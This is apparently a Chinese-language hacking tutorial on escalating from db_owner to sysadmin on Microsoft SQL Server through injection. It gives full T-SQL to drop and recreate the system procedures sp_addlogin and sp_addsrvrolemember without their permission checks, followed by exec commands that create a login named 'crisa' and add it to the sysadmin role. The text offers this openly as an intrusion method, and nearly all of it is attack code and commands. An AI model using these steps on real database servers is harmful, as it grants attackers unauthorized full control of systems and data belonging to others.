Extended Stored Proc & Inject
前面刚谈完why to take some steps to do with extended stored procedures?
及how to remove and / or restore scripts，这边问题又来了,又一例利用Extended Stored Proc进行入侵开始了
入侵途径：利用db_owner在db_owner角色下添加SYSADMIN帐号可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，绕过验证部分。
具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT
CONFIGURABLE
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIMEOPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin crisa
再drop procedure sp_addsrvrolemember,然后在IE里输入
create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
GO
接着再exec master..sp_addsrvrolemember crisa,sysadmin
这样就建立了一个SA用户了，用SQL连接器连接上就OK了。